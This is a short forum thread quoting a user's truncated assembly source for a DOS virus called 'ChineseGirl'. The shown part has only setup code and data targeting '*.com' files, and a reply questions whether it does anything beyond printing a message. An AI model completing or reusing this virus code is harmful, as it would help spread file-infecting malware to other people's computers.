Originally posted by nakoka
THis is My first Virus in my life.She called ChineseGirl.I had Finished it about 2years ago.it just a small Virus. I belive "assemble language + C = nuclear weapon" all the time!

code segment
assume cs:code,ds:code
org 0h
begin :

push ax
push bx
push cx
push dx
push bp
push si
push di
push ds
push es

jmp ChineseGirl
handle dw ?
jmp db 0e9h
message db 'ChineseGirl! $'
len dw ?
real dw ?
dss dw ?
path db '*.com',0
fpath db '\dos\*.com',0
dos db '\dos\',13 dup(?)
no db 'Z'
hh dd 11112222h
tc db 2eh
tc1 dw 2effh
tc2 dw 004ah
dta db 45 dup(?)

Shorten for obvious reasons...........

You forgot to int24 the HDD, otherwise it will just write to a non-existant sector. Other than displaying a message on the screen, it didn't seem to do much of anything else? How is it a virus? I think my 386 didn't support some of the instructions set either, so that might be the problem.